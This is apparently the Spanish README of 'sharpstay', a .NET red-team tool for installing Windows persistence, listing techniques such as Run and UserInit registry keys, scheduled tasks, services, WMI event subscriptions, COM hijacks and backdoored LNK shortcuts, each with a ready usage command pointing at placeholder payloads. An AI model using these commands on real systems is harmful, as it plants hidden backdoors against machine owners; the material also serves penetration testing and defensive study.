0xthirteen/sharpstayHerramienta .NET para instalar persistencia en Windows mediante claves de registro, tareas programadas, servicios, eventos WMI, secuestros COM y puertas traseras LNK, compatible con contextos elevados y no elevados.
Para compilar, abre el proyecto de Visual Studio y compila para release.
Claves de Registro Elevadas
Clave de Registro UserInit Elevada
Tarea Programada Elevada
Crear Servicio Elevado
Suscripción a Evento WMI Elevada
Clave de Registro InitMprLogonScript No Elevada
Secuestro de Controlador COM de Tarea Programada No Elevado
Carpeta de Unión No Elevada
Misc Agregar Acción de Tarea Programada
Misc Directorio de Inicio
Misc Nuevo LNK
Misc LNK Puerta Trasera
Misc Nombres de Tareas
Misc Listar Tareas Programadas
Misc Listar Servicios en Ejecución
Misc Obtener Controladores COM de Tareas Programadas
Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1
Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction
Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"
Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup
Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}
Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"
Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"
Sharpstay.exe action=ListTaskNames
Sharpstay.exe action=ListScheduledTasks
Sharpstay.exe action=ListRunningServices
Sharpstay.exe action=GetScheduledTaskCOMHandler
cleanup=true es una opción para cada tipo de persistencia.
Parte de StayKit